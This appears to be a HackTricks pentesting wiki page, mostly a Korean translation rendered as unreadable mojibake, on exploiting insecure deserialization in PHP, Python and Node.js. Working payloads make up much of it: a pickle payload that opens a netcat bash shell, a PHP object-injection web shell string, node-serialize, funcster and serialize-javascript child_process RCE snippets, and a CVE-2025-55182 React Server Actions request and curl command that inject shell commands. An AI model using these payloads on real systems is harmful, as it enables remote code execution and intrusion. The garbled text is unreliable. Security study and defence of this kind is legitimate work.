Deserialization
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Serialization์ ๊ฐ์ฒด๋ฅผ ์ ์ฅํ๊ฑฐ๋ ํต์ ๊ณผ์ ์์ ์ ์กํ๊ธฐ ์ํด ๊ฐ์ฒด๋ฅผ ๋ณด์กด ๊ฐ๋ฅํ ํ์์ผ๋ก ๋ณํํ๋ ๋ฐฉ๋ฒ์ด๋ค. ์ด ๊ธฐ์ ์ ๊ฐ์ฒด์ ๊ตฌ์กฐ์ ์ํ๋ฅผ ์ ์งํ๋ฉด์ ๋์ค์ ๊ฐ์ฒด๋ฅผ ์ฌ์์ฑํ ์ ์๋๋ก ๋ณด์ฅํ๊ธฐ ์ํด ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋๋ค.
Deserialization์ ๋ฐ๋๋ก ํน์ ํ์์ผ๋ก ๊ตฌ์กฐํ๋ ๋ฐ์ดํฐ๋ฅผ ๋ฐ์ ๊ฐ์ฒด๋ก ์ฌ๊ตฌ์ฑํ๋ ๊ณผ์ ์ด๋ค.
Deserialization์ ๊ฐ์ฒด ์ฌ๊ตฌ์ฑ ๊ณผ์ ์์ ๊ณต๊ฒฉ์๊ฐ ์ง๋ ฌํ๋ ๋ฐ์ดํฐ๋ฅผ ์กฐ์ํด ์ ์ฑ ์ฝ๋๋ฅผ ์คํํ๊ฑฐ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์๊ธฐ์น ์์ ๋์์ ์ผ์ผํฌ ์ ์๊ธฐ ๋๋ฌธ์ ์ํํ ์ ์๋ค.
PHP
PHP์์๋ ์ง๋ ฌํ ๋ฐ ์ญ์ง๋ ฌํ ๊ณผ์ ์์ ํน์ ๋งค์ง ๋ฉ์๋๊ฐ ์ฌ์ฉ๋๋ค:
__sleep: ๊ฐ์ฒด๊ฐ ์ง๋ ฌํ๋ ๋ ํธ์ถ๋๋ค. ์ด ๋ฉ์๋๋ ์ง๋ ฌํํด์ผ ํ ๊ฐ์ฒด์ ๋ชจ๋ ์์ฑ ์ด๋ฆ์ ๋ด์ ๋ฐฐ์ด์ ๋ฐํํด์ผ ํ๋ค. ์ผ๋ฐ์ ์ผ๋ก ๋๊ธฐ ์ค์ธ ๋ฐ์ดํฐ๋ฅผ ์ปค๋ฐํ๊ฑฐ๋ ์ ์ฌํ ์ ๋ฆฌ ์์ ์ ์ํํ๋ ๋ฐ ์ฌ์ฉ๋๋ค.__wakeup: ๊ฐ์ฒด๊ฐ ์ญ์ง๋ ฌํ๋ ๋ ํธ์ถ๋๋ค. ์ง๋ ฌํ ์ค ๋์ด์ง ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฐ๊ฒฐ์ ๋ณต์ํ๊ฑฐ๋ ๊ธฐํ ์ฌ์ด๊ธฐํ ์์ ์ ์ํํ๋ ๋ฐ ์ฌ์ฉ๋๋ค.__unserialize: ๊ฐ์ฒด๊ฐ ์ญ์ง๋ ฌํ๋ ๋(์กด์ฌํ๋ ๊ฒฝ์ฐ)__wakeup๋์ ํธ์ถ๋๋ค.__wakeup๋ณด๋ค ์ญ์ง๋ ฌํ ๊ณผ์ ์ ๋ ์ธ๋ฐํ๊ฒ ์ ์ดํ ์ ์๋ค.__destruct: ๊ฐ์ฒด๊ฐ ํ๊ดด๋๊ฑฐ๋ ์คํฌ๋ฆฝํธ๊ฐ ์ข ๋ฃ๋ ๋ ํธ์ถ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ํ์ผ ํธ๋ค ๋๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฐ๊ฒฐ ๋ซ๊ธฐ ๊ฐ์ ์ ๋ฆฌ ์์ ์ ์ฌ์ฉ๋๋ค.__toString: ๊ฐ์ฒด๋ฅผ ๋ฌธ์์ด์ฒ๋ผ ์ทจ๊ธํ ์ ์๊ฒ ํด์ค๋ค. ๋ด๋ถ์์ ํธ์ถ๋๋ ํจ์๋ค์ ๋ฐ๋ผ ํ์ผ์ ์ฝ๋ ๋ฑ ์์ ์ ์ฌ์ฉ๋ ์ ์์ผ๋ฉฐ, ๊ฐ์ฒด์ ํ ์คํธ ํํ์ ์ ๊ณตํ๋ค.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด ๊ฐ์ฒด๊ฐ ์ญ์ง๋ ฌํ๋ ๋ **__wakeup**์ __destruct ํจ์๊ฐ ํธ์ถ๋๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. ์ฌ๋ฌ ํํ ๋ฆฌ์ผ์์๋ ์ผ๋ถ ์์ฑ์ ์ถ๋ ฅํ๋ ค๊ณ ํ ๋ __toString ํจ์๊ฐ ํธ์ถ๋๋ค๊ณ ๋์ค์ง๋ง, ํ์ฌ๋ ๋ ์ด์ ๊ทธ๋ ์ง ์์ ๊ฒ ๊ฐ์ต๋๋ค.
Warning
ํด๋์ค์ ๊ตฌํ๋์ด ์์ผ๋ฉด ๋ฉ์๋ **
__unserialize(array $data)**๊ฐ__wakeup()๋์ ํธ์ถ๋ฉ๋๋ค. ์ด ๋ฉ์๋๋ ์ง๋ ฌํ๋ ๋ฐ์ดํฐ๋ฅผ ๋ฐฐ์ด๋ก ์ ๊ณตํ์ฌ ๊ฐ์ฒด๋ฅผ ์ญ์ง๋ ฌํํ ์ ์๊ฒ ํด์ค๋๋ค. ์ด ๋ฉ์๋๋ฅผ ์ฌ์ฉํ์ฌ ์์ฑ์ ์ญ์ง๋ ฌํํ๊ณ ์ญ์ง๋ ฌํ ์ ํ์ํ ์์ ์ ์ํํ ์ ์์ต๋๋ค.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
์ค๋ช ์ด ํฌํจ๋ PHP ์์ ๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ์ฌ๊ธฐ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ๋๋ ์ฌ๊ธฐ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP ์ญ์ง๋ ฌํ + Autoload ํด๋์ค
PHP autoload ๊ธฐ๋ฅ์ ์ ์ฉํด ์์์ php ํ์ผ ๋ฑ์ ๋ก๋ํ ์ ์์ต๋๋ค:
PHP - Deserialization + Autoload Classes
Laravel Livewire Hydration Chains
Livewire 3 synthesizers๋ (APP_KEY ์ ๋ฌด์ ์๊ด์์ด) ์์์ gadget ๊ทธ๋ํ๋ฅผ ์ธ์คํด์คํํ๋๋ก ๊ฐ์ ํ์ฌ Laravel Queueable/SerializableClosure sinks์ ๋๋ฌ์ํฌ ์ ์์ต๋๋ค:
Livewire Hydration Synthesizer Abuse
์ฐธ์กฐ๋ ๊ฐ ์ง๋ ฌํ
์ด๋ค ์ด์ ๋ก ๊ฐ์ ๋ค๋ฅธ ์ง๋ ฌํ๋ ๊ฐ์ ๋ํ ์ฐธ์กฐ๋ก ์ง๋ ฌํํ๋ ค๋ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHP Object Injection ๋ฐฉ์ง (allowed_classes ์ฌ์ฉ)
[!INFO]
unserialize()์ ๋ ๋ฒ์งธ ์ธ์($options๋ฐฐ์ด)์ ๋ํ ์ง์์ PHP 7.0์์ ์ถ๊ฐ๋์์ต๋๋ค. ์ด์ ๋ฒ์ ์์๋ ํจ์๊ฐ ์ง๋ ฌํ๋ ๋ฌธ์์ด๋ง ๋ฐ๊ธฐ ๋๋ฌธ์ ์ด๋ค ํด๋์ค๊ฐ ์ธ์คํด์คํ๋ ์ ์๋์ง ์ ํํ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํฉ๋๋ค.
unserialize()๋ ๋ฌ๋ฆฌ ์ง์ํ์ง ์์ผ๋ฉด ์ง๋ ฌํ ์คํธ๋ฆผ ๋ด์์ ๋ฐ๊ฒฌํ ๋ชจ๋ ํด๋์ค๋ฅผ ์ธ์คํด์คํํฉ๋๋ค. PHP 7๋ถํฐ ์ด ๋์์ allowed_classes ์ต์
์ผ๋ก ์ ํํ ์ ์์ต๋๋ค:
// NEVER DO THIS โ full object instantiation
$object = unserialize($userControlledData);
// SAFER โ disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular โ only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
๋ง์ฝ allowed_classes๊ฐ ์๋ต๋์๊ฑฐ๋ ๋๋ ์ฝ๋๊ฐ PHP < 7.0์์ ์คํ๋๋ค๋ฉด, ์ด ํธ์ถ์ ์ํํด์ง๋๋ค. ๊ณต๊ฒฉ์๊ฐ __wakeup() ๋๋ __destruct() ๊ฐ์ ๋งค์ง ๋ฉ์๋๋ฅผ ์
์ฉํ๋ ํ์ด๋ก๋๋ฅผ ๋ง๋ค์ด Remote Code Execution (RCE)์ ๋ฌ์ฑํ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค.
์ค์ ์ฌ๋ก: Everest Forms (WordPress) CVE-2025-52709
The WordPress plugin Everest Forms โค 3.2.2๋ ๋ฐฉ์ด ๋ชฉ์ ์ ํฌํผ ๋ํผ๋ฅผ ์ฌ์ฉํ์ง๋ง ๋ ๊ฑฐ์ PHP ๋ฒ์ ์ ๊ณ ๋ คํ์ง ์์์ต๋๋ค:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP โฅ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
์ฌ์ ํ PHP โค 7.0์ ์คํํ๋ ์๋ฒ์์๋ ์ด ๋ ๋ฒ์งธ ๋ถ๊ธฐ์์ ๊ด๋ฆฌ์๊ฐ ์ ์ฑ form submission์ ์ด์์ ๋ ๊ณ ์ ์ ์ธ PHP Object Injection์ผ๋ก ์ด์ด์ก์ต๋๋ค. ์ต์ํ์ exploit payload๋ ๋ค์๊ณผ ๊ฐ์ด ๋ณด์ผ ์ ์์ต๋๋ค:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
As soon as the admin viewed the entry, the object was instantiated and SomeClass::__destruct() got executed, resulting in arbitrary code execution.
ํต์ฌ ์์ฝ
- Always pass
['allowed_classes' => false](or a strict white-list) when callingunserialize(). - ๋ฐฉ์ด์ฉ ๋ํผ๋ฅผ ์ ๊ฒํ์ธ์ โ ์ข ์ข ๋ ๊ฑฐ์ PHP ๋ถ๊ธฐ๋ฅผ ๊ฐ๊ณผํ๊ณค ํฉ๋๋ค.
- ๋จ์ํ PHP โฅ 7.x๋ก ์ ๊ทธ๋ ์ด๋ํ๋ ๊ฒ๋ง์ผ๋ก๋ ์ถฉ๋ถํ์ง ์์ต๋๋ค: ํด๋น ์ต์ ์ ์ฌ์ ํ ๋ช ์์ ์ผ๋ก ์ ๊ณต๋์ด์ผ ํฉ๋๋ค.
PHPGGC (ysoserial for PHP)
PHPGGC์ PHP deserializations๋ฅผ ์
์ฉํ๊ธฐ ์ํ payload๋ฅผ ์์ฑํ๋ ๋ฐ ๋์์ ์ค ์ ์์ต๋๋ค. ๋ช๋ช ๊ฒฝ์ฐ์๋ ์ ํ๋ฆฌ์ผ์ด์
์ ์์ค ์ฝ๋์์ deserialization์ ์
์ฉํ ๋ฐฉ๋ฒ์ ์ฐพ์ ์ ์์ ๊ฒ์
๋๋ค, ํ์ง๋ง ์ธ๋ถ PHP extensions์ ์ฝ๋๋ฅผ ์
์ฉํ ์ ์์์ง๋ ๋ชจ๋ฆ
๋๋ค. ๊ฐ๋ฅํ๋ค๋ฉด ์๋ฒ์ phpinfo()๋ฅผ ํ์ธํ๊ณ ์ธํฐ๋ท์์ ๊ฒ์(์ฌ์ง์ด PHPGGC์ gadgets์์๋)ํ์ฌ ์
์ฉ ๊ฐ๋ฅํ gadget์ ์ฐพ์๋ณด์ธ์.
phar:// metadata deserialization
If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.
For more information read the following post:
Python
Pickle
When the object gets unpickle, the function ___reduce___ will be executed.
์
์ฉ๋ ๊ฒฝ์ฐ ์๋ฒ๊ฐ ์ค๋ฅ๋ฅผ ๋ฐํํ ์ ์์ต๋๋ค.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if youโre running python3.
๋ฐ์ดํจ์ค ๊ธฐ๋ฒ์ ํ์ธํ๊ธฐ ์ ์, python3๋ฅผ ์ฌ์ฉ ์ค์ด๋ผ๋ฉด python2์ ํธํ๋๋ ๊ฐ์ฒด๋ฅผ ์์ฑํ๊ธฐ ์ํด print(base64.b64encode(pickle.dumps(P(),2)))๋ฅผ ์ฌ์ฉํด๋ณด์ธ์.
For more information about escaping from pickle jails check:
pickle jails์์ ํ์ถํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์ ๋ค์์ ํ์ธํ์ธ์:
Yaml & jsonpickle
The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:
๋ค์ ํ์ด์ง๋ yamls python ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์์ unsafe deserialization์ ์ ์ฉํ๋ ๊ธฐ๋ฒ์ ์ค๋ช ํ๋ฉฐ, Pickle, PyYAML, jsonpickle and ruamel.yaml์ ๋ํ RCE deserialization ํ์ด๋ก๋๋ฅผ ์์ฑํ ์ ์๋ ๋๊ตฌ๋ก ๋ง๋ฌด๋ฆฌํฉ๋๋ค:
Class Pollution (Python Prototype Pollution)
Class Pollution (Pythonโs Prototype Pollution)
NodeJS
JS Magic Functions
JS doesnโt have โmagicโ functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
If abusing a deserialization you can compromise these functions to execute other code (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
JS๋ PHP๋ Python์ฒ๋ผ ๊ฐ์ฒด๋ฅผ ์์ฑํ๋ ๊ฒ๋ง์ผ๋ก ์คํ๋๋ โmagicโ ํจ์๋ค์ด ์กด์ฌํ์ง ์์ต๋๋ค. ํ์ง๋ง toString, valueOf, toJSON์ฒ๋ผ ์ง์ ํธ์ถํ์ง ์์๋ ์์ฃผ ์ฌ์ฉ๋๋ ํจ์๋ค์ด ์์ต๋๋ค.
deserialization์ ์
์ฉํ ๊ฒฝ์ฐ ์ด๋ฌํ ํจ์๋ค์ ์์์์ผ ๋ค๋ฅธ ์ฝ๋๋ฅผ ์คํํ๋๋ก ๋ง๋ค ์ ์์ผ๋ฉฐ (potentially abusing prototype pollutions) ํด๋น ํจ์๋ค์ด ํธ์ถ๋ ๋ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
Another โmagicโ way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called โthenโ of type function, it will be executed just because itโs returned by another promise. Follow this link for more info.
ํจ์๋ฅผ ์ง์ ํธ์ถํ์ง ์๊ณ ํธ์ถํ๋ ๋ ๋ค๋ฅธ โmagicโ ๋ฐฉ๋ฒ์ async ํจ์๊ฐ ๋ฐํํ๋ ๊ฐ์ฒด๋ฅผ ์์์ํค๋ ๊ฒ์ ๋๋ค (promise). ๋ฐํ ๊ฐ์ฒด๋ฅผ ๋ค๋ฅธ promise๋ก ๋ณํํ๊ณ ๊ทธ ๊ฐ์ฒด์ ํจ์ ํ์ ์ **โthenโ**์ด๋ผ๋ ํ๋กํผํฐ๋ฅผ ์ถ๊ฐํ๋ฉด, ๋ค๋ฅธ promise์ ์ํด ๋ฐํ๋์๋ค๋ ์ด์ ๋ง์ผ๋ก ํด๋น ํ๋กํผํฐ๊ฐ ์คํ๋ฉ๋๋ค. ์์ธํ ๋ด์ฉ์ this link ์ฐธ๊ณ ํ์ธ์.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
์ด ๊ธฐ์ ์ ๋ฐฐ์ฐ๊ณ ์ถ๋ค๋ฉด ๋ค์ ํํ ๋ฆฌ์ผ์ ํ์ธํ์ธ์:
NodeJS - proto & prototype Pollution
node-serialize
์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ํจ์๋ฅผ ์ง๋ ฌํํ ์ ์์ต๋๋ค. ์:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
๋ค์์ ์ง๋ ฌํ๋ ๊ฐ์ฒด์ ๋ชจ์ต์ ๋๋ค:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
์์ ์์ ํจ์๊ฐ ์ง๋ ฌํ๋ ๋ _$$ND_FUNC$$_ ํ๋๊ทธ๊ฐ ์ง๋ ฌํ๋ ๊ฐ์ฒด์ ์ถ๊ฐ๋๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
๋ง์ง๋ง ์ฝ๋ ๋ธ๋ก์์ ๋ณผ ์ ์๋ฏ์ด, ํ๋๊ทธ๊ฐ ๋ฐ๊ฒฌ๋๋ฉด eval์ด ํจ์์ ์ญ์ง๋ ฌํ์ ์ฌ์ฉ๋๋ฏ๋ก, ๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ฉ์ ์
๋ ฅ์ด eval ํจ์ ๋ด๋ถ์์ ์ฌ์ฉ๋๊ณ ์๋ค๋ ๋ป์
๋๋ค.
ํ์ง๋ง, ๋จ์ํ ํจ์๋ฅผ ์ง๋ ฌํํ๋ ๊ฒ๋ง์ผ๋ก๋ ๊ทธ๊ฒ์ ์คํํ์ง ์์ต๋๋ค. ์์ ์์ ์ฝ๋์ ์ด๋ค ๋ถ๋ถ์ด y.rce๋ฅผ ํธ์ถํด์ผ ํ๊ธฐ ๋๋ฌธ์ด๋ฉฐ, ์ด๋ ๋งค์ฐ ๊ฐ๋ฅ์ฑ์ด ๋ฎ์ต๋๋ค.
์ด์จ๋ , ๊ฐ์ฒด๊ฐ ์ญ์ง๋ ฌํ๋ ๋ ์ง๋ ฌํ๋ ํจ์๋ฅผ ์๋์ผ๋ก ์คํํ๋๋ก ์ง๋ ฌํ๋ ๊ฐ์ฒด๋ฅผ ์์ ํ์ฌ ๊ดํธ๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค.
๋ค์ ์ฝ๋ ๋ธ๋ก์์ ๋ง์ง๋ง ๊ดํธ๋ฅผ ์ฃผ๋ชฉํ๊ณ unserialize ํจ์๊ฐ ์ฝ๋๋ฅผ ์๋์ผ๋ก ์คํํ๋ ๋ฐฉ์์ ํ์ธํ์ธ์:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
์์ ์ธ๊ธํ๋ฏ์ด, ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ _$$ND_FUNC$$_ ๋ค์ ์ฝ๋๋ฅผ ๊ฐ์ ธ์ eval์ ์ฌ์ฉํด ์คํํฉ๋๋ค. ๋ฐ๋ผ์ ์๋์ผ๋ก ์ฝ๋ ์คํ์ํค๋ ค๋ฉด ํจ์ ์์ฑ ๋ถ๋ถ๊ณผ ๋ง์ง๋ง ๊ดํธ๋ฅผ ์ญ์ ํ๊ณ ๋ค์ ์์ ์ฒ๋ผ JS ์๋ผ์ด๋๋ฅผ ๋ฐ๋ก ์คํํ๋ฉด ๋ฉ๋๋ค:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
You can find here ์ถ๊ฐ ์ ๋ณด๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
funcster
ํนํ funcster์ ์ฃผ๋ชฉํ ๋งํ ์ ์ ํ์ค ๋ด์ฅ ๊ฐ์ฒด๋ค์ ์ ๊ทผํ ์ ์๋ค๋ ๊ฒ์ ๋๋ค; ์ด๋ค์ ์ ๊ทผ ๊ฐ๋ฅํ ๋ฒ์ ๋ฐ์ ์์ต๋๋ค. ์ด ์ ํ ๋๋ฌธ์ ๋ด์ฅ ๊ฐ์ฒด์ ๋ฉ์๋๋ฅผ ํธ์ถํ๋ ค๋ ์ฝ๋๋ ์คํ๋์ง ์์ผ๋ฉฐ, console.log()๋ require(something) ๊ฐ์ ๋ช ๋ น์ ์ฌ์ฉํ ๋ โReferenceError: console is not definedโ์ ๊ฐ์ ์์ธ๊ฐ ๋ฐ์ํฉ๋๋ค.
์ด ์ ํ์๋ ๋ถ๊ตฌํ๊ณ , ํน์ ๋ฐฉ๋ฒ์ ํตํด ๋ชจ๋ ํ์ค ๋ด์ฅ ๊ฐ์ฒด๋ฅผ ํฌํจํ ์ ์ญ ์ปจํ ์คํธ์ ๋ํ ์์ ํ ์ ๊ทผ์ ๋ณต์ํ ์ ์์ต๋๋ค. ์ ์ญ ์ปจํ ์คํธ๋ฅผ ์ง์ ํ์ฉํ๋ฉด ์ด ์ ํ์ ์ฐํํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ๋ค์ ์ค๋ํซ์ ์ฌ์ฉํด ์ ๊ทผ์ ๋ค์ ์ค์ ํ ์ ์์ต๋๋ค:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
์์ธํ ๋ด์ฉ์ more information read this source.
serialize-javascript
The serialize-javascript package๋ ์ค์ง serialization ์ฉ๋๋ก๋ง ์ค๊ณ๋์ด ์์ผ๋ฉฐ, ๋ด์ฅ๋ deserialization ๊ธฐ๋ฅ์ด ์์ต๋๋ค. deserialization์ ์ํ ์์ฒด์ ์ธ ๋ฐฉ๋ฒ์ ๊ตฌํํ๋ ๊ฒ์ ์ฌ์ฉ์์ ์ฑ
์์
๋๋ค. ๊ณต์ ์์ ์์๋ serialized ๋ฐ์ดํฐ๋ฅผ deserializingํ๊ธฐ ์ํด ์ง์ eval์ ์ฌ์ฉํ ๊ฒ์ ๊ถ์ฅํฉ๋๋ค:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
๋ง์ฝ ์ด ํจ์๊ฐ objects๋ฅผ deserializeํ๋ ๋ฐ ์ฌ์ฉ๋๋ค๋ฉด ์ฝ๊ฒ ์ ์ฉํ ์ ์์ต๋๋ค:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
์์ธํ ์ ๋ณด๋ ์ด ์ถ์ฒ๋ฅผ ์ฝ์ด๋ณด์ธ์.
Cryo library
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC) rely on react-server-dom-webpack (RSDW) to decode server action submissions that are sent as multipart/form-data. Each action submission contains:
$ACTION_REF_<n>parts that reference the action being invoked.$ACTION_<n>:<m>parts whose body is JSON such as{"id":"module-path#export","bound":[arg0,arg1,...]}.
In version 19.2.0 the decodeAction(formData, serverManifest) helper blindly trusts both the id string (selecting which module export to call) and the bound array (the arguments). If an attacker can reach the endpoint that forwards requests to decodeAction, they can invoke any exported server action with attacker-controlled parameters even without a React front-end (CVE-2025-55182). The end-to-end recipe is:
- ์ก์
์๋ณ์ ์์๋ด๊ธฐ. ๋ฒ๋ค ์ถ๋ ฅ, ์ค๋ฅ ์ถ์ ๋๋ leaked manifests๋ ์ผ๋ฐ์ ์ผ๋ก
app/server-actions#generateReport๊ฐ์ ๋ฌธ์์ด์ ๋๋ฌ๋ ๋๋ค. - multipart ํ์ด๋ก๋ ์ฌ๊ตฌ์ฑ.
$ACTION_REF_0ํํธ์ ์๋ณ์์ ์์์ ์ธ์๋ฅผ ๋ด์$ACTION_0:0JSON ๋ณธ๋ฌธ์ ๋ง๋ญ๋๋ค. decodeAction์ด ์ด๋ฅผ ๋์คํจ์นํ๋๋ก ํ์ฉ. ํฌํผ๋serverManifest์์ ๋ชจ๋์ ํด๊ฒฐํ๊ณ , ํด๋น export๋ฅผ importํ ๋ค ์๋ฒ๊ฐ ์ฆ์ ์คํํ ์ ์๋ callable์ ๋ฐํํฉ๋๋ค.
Example payload hitting /formaction:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
๋๋ curl๋ก:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
bound ๋ฐฐ์ด์ server-action ๋งค๊ฐ๋ณ์๋ฅผ ์ง์ ์ฑ์๋๋ค. ์ทจ์ฝํ lab์์ gadget์ ๋ค์๊ณผ ๊ฐ์ด ๋ณด์
๋๋ค:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
format = "pdf & whoami"๋ฅผ ์ ๊ณตํ๋ฉด /bin/sh -c๊ฐ ์ ๋นํ ๋ฆฌํฌํธ ์์ฑ๊ธฐ๋ฅผ ์คํํ ๋ค์ whoami๋ฅผ ์คํํ๋ฉฐ, ๋ ์ถ๋ ฅ์ด ๋ชจ๋ JSON ์ก์
์๋ต ์์ ์ ๋ฌ๋ฉ๋๋ค. ํ์ผ์์คํ
